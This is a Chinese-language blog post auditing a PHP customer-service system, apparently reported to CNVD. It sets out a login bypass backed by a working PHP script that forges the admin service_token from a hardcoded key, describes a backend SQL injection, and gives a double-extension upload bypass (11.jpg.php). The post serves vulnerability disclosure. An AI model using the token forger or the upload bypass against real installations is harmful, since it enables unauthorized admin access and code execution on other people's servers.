php--莫客服系统代码审计(已申请CNVD)

1绕过登录进入后台

 

 可以看见这里先验证是否存在service_token如果存在则进入admin/index/index方法

我们跟进查看

 

 index是继承base的根据经验一般来说这些东西都是验证之类的

跟进果不其然

 

 可以看见他这里uid的获取方法很奇怪是根据一个加密函数来获取的 我们看看这个方法是咋写的

public function encrypt($string,$operation,$key='')
	 {
	 	    $key=md5($key);
		    $key_length=strlen($key);
		    $string=$operation=='D'?base64_decode($string):substr(md5($string.$key),0,8).$string;
		    $string_length=strlen($string);
		    $rndkey=$box=array();
		    $result='';
		    for($i=0;$i<=255;$i++)
		    {
		      $rndkey[$i]=ord($key[$i%$key_length]);
		      $box[$i]=$i;
		    }
		    for($j=$i=0;$i<256;$i++)
		    {
		      $j=($j+$box[$i]+$rndkey[$i])%256;
		      $tmp=$box[$i];
		      $box[$i]=$box[$j];
		      $box[$j]=$tmp;
		    }
		    for($a=$j=$i=0;$i<$string_length;$i++)
		    {
		      $a=($a+1)%256;
		      $j=($j+$box[$a])%256;
		      $tmp=$box[$a];
		      $box[$a]=$box[$j];
		      $box[$j]=$tmp;
		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
		    }
		    if($operation=='D')
		    {
		      if(substr($result,0,8)==substr(md5(substr($result,8).$key),0,8))
		      {
		        return substr($result,8);
		      }
		      else
		      {
		        return'';
		      }
		    }
		    else
		    {
		      return str_replace('=','',base64_encode($result));
		    }
	 }

 这里本来想通过uid来构造注入的因为其他的获取变量都被htmlse方法过滤了,return substr($result,8);只返回第8位或者把$result base64加密可想而知行不通 但是由于此方法中的$operation,$key=''被写死了,所以一个uid用户对应一个service token永远不变 那么就好办了 本地搭建或者构造解密算法如下

<?php
	 function decrypt($string,$operation,$key='')
	 {
	 	    $key=md5($key);
		    $key_length=strlen($key);
		    $string=substr(md5($string.$key),0,8).$string;
		    $string_length=strlen($string);
		    $rndkey=$box=array();
		    $result='';
		    for($i=0;$i<=255;$i++)
		    {
		      $rndkey[$i]=ord($key[$i%$key_length]);
		      $box[$i]=$i;
		    }
		    for($j=$i=0;$i<256;$i++)
		    {
		      $j=($j+$box[$i]+$rndkey[$i])%256;
		      $tmp=$box[$i];
		      $box[$i]=$box[$j];
		      $box[$j]=$tmp;
		    }
		    for($a=$j=$i=0;$i<$string_length;$i++)
		    {
		      $a=($a+1)%256;
		      $j=($j+$box[$a])%256;
		      $tmp=$box[$a];
		      $box[$a]=$box[$j];
		      $box[$j]=$tmp;
		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
			}
			return str_replace('=','',base64_encode($result));

	 }
echo decrypt(1,'E','dianqilai_service');

 得到结果urldecode传递给cookie即可

然后就获得了该用户所以的变量传递给了数组

 

 二后台sql过滤不严谨sql注入(实际环境并没有,纯属复现)

对传入参数进行过滤的情况下但还是有情况没有用到自己定义的传参方法的 看见这里$key直接传入并且拼接select

 

 

程序首先通过query的where方法里面的通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。

 

 这里看见最后的完整语句造成了注入

 

 后台任意文件上传

 

 判断不严谨 直接判断是是点后面的第一个字符 我们可以11.jpg.php绕过。

posted @ 2021-02-04 13:40  yourse1f  阅读(471)  评论(0编辑  收藏  举报